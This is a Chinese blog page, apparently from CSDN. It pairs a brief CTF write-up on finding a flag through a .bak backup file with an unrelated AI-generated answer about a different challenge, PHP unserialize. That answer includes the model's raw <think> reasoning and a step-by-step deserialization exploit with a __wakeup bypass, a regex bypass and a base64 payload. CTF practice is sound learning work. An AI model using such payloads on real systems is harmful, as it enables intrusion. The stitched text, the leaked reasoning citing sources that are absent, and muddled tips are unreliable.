攻防世界新手区web_backup_WP

本文介绍了一种通过查找备份文件来获取Flag的方法。作者尝试了多种备份文件后缀,最终通过下载并检查.bak文件成功找到了Flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

进入链接
在这里插入图片描述
F12查看,结果连flag的毛都没找到。。
在这里插入图片描述
依据题目提示。我们直接进入“备份文件”。常见的备份文件后缀名有:“.git” 、“.svn”、
“ .swp”“.~”、“.bak”、“.bash_history”、“.bkf”。

依次尝试,当我们输入到**“bak**”的时候会自动下载一个文件。
在这里插入图片描述
记事本打开文件,flag到手~
在这里插入图片描述

<think>好的,我现在需要帮助用户解决攻防世界Web_php_unserialize的CTF题目。首先,用户希望了解解题思路,特别是针对PHP反序列化的新手题。我应该结合用户提供的引用内容来整理答案。 首先,我需要回顾用户提供的引用。引用[4]详细分析了Demo类的结构,包括__wakeup魔术方法和如何绕过它。引用[2]提到了当__wakeup被调用时会退出,所以可能需要绕过这个方法的执行。引用[5]提到了绕过__wakeup的方法,比如修改对象属性的数量。此外,引用[1]和[3]提供了PHP反序列化的基础知识和phps文件的作用,可能对解题有帮助。 接下来,解题步骤可能需要包括以下部分: 1. **代码分析**:查看题目提供的PHP代码,找到反序列化的入口和可能的漏洞点。比如,是否存在反序列化时的__wakeup方法,或者反序列化后触发的__destruct方法。 2. **绕过__wakeup**:根据引用[2]和引用[4],如果__wakeup方法会终止程序或修改关键变量,就需要绕过它。通常可以通过修改序列化字符串中的属性数量,使其大于实际数量,从而避免__wakeup的执行。例如,将O:4改为O:+4,或者调整属性数量。 3. **处理正则过滤**:引用[4]提到代码中可能使用preg_match来检查序列化字符串,如匹配类似O:数字的情况。这时候需要绕过这种过滤,比如使用O:+4代替O:4,或者在数字前添加加号。 4. **构造Payload**:构造一个恶意序列化字符串,触发__destruct方法,从而读取flag文件。例如,将$file变量设置为fl4g.php,在对象销毁时输出其内容。 5. **Base64编码**:根据引用[4]和引用[5],可能需要将序列化后的字符串进行Base64编码,以符合题目参数的要求。 6. **利用私有变量处理**:如果涉及私有变量,需要注意序列化时的格式,比如%00类名%00变量名,但可能需要URL编码处理。 在整理步骤时,需要确保每个部分都有对应的引用支持,并正确标注引用来源。同时,用户可能需要具体的示例payload和步骤说明,例如如何修改属性数量,如何绕过正则表达式等。 此外,用户可能还需要相关的学习资源或常见技巧,比如魔术方法的作用、反序列化漏洞的原理,这些可以结合引用内容中的知识点进行补充。 最后,生成相关问题,帮助用户进一步学习,比如如何绕过正则表达式、其他魔术方法的影响,或者私有变量的处理方式等。 需要确保回答结构清晰,分步骤说明,并且引用正确。同时,检查是否有遗漏的步骤或错误,比如是否应该使用大写C还是O,或者Base64编码后的字符串是否需要特殊处理等。</think>### Web_php_unserialize 解题思路 #### 一、题目分析 1. **代码审查** 题目通常提供PHP源码(可能通过`.phps`文件显示[^3])。核心逻辑如下: - 类中包含`__wakeup()`方法,会强制重置关键变量(如将`$file`设为`index.php`[^4])。 - 反序列化入口通过`unserialize(base64_decode($_GET['var']))`接收参数[^5]。 - 存在正则过滤`preg_match('/[oc]:\d+:/i')`,阻止以`O:数字`开头的序列化字符串。 2. **漏洞定位** 目标是通过反序列化触发`__destruct()`方法,读取`fl4g.php`文件内容。需绕过以下限制: - **绕过`__wakeup()`**:修改序列化字符串中对象属性数量。 - **绕过正则过滤**:调整序列化字符串格式。 --- #### 二、解题步骤 1. **构造恶意类** 假设题目类名为`Demo`,其`$file`属性为目标文件`fl4g.php`: ```php class Demo { private $file = 'fl4g.php'; } ``` 2. **生成序列化字符串** - 序列化对象: ```php $obj = new Demo(); $serialized = serialize($obj); ``` 输出类似:`O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}`。 - **绕过`__wakeup()`**: 修改属性数量为**大于实际值**(如从`1`改为`2`): ```php $payload = str_replace(':1:', ':2:', $serialized); ``` - **绕过正则过滤**: 将`O:4`改为`O:+4`或`O:4`后添加注释符`%2b`(`+`的URL编码): ```php $payload = preg_replace('/O:\d+/', 'O:+4', $payload); ``` 3. **Base64编码** 题目要求参数`var`需Base64编码[^5]: ```php $final_payload = base64_encode($payload); ``` 4. **发送Payload** 通过URL传递参数: ``` http://题目地址?var=<?php echo $final_payload; ?> ``` --- #### 三、关键技巧 1. **魔术方法绕过** - `__wakeup()`在反序列化时自动调用,但若对象属性数被修改为超过实际值,则不会触发[^2][^4]。 - `__destruct()`在对象销毁时触发,可用于执行关键操作(如读取文件)。 2. **正则绕过** - 使用`O:+4`代替`O:4`,利用`+`符号绕过`\d+`匹配。 - 若过滤严格,可尝试Unicode编码或特殊符号注入。 --- #### 四、示例Payload 原始序列化字符串: ``` O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";} ``` 修改后: ``` O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";} ``` Base64编码结果: ``` TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值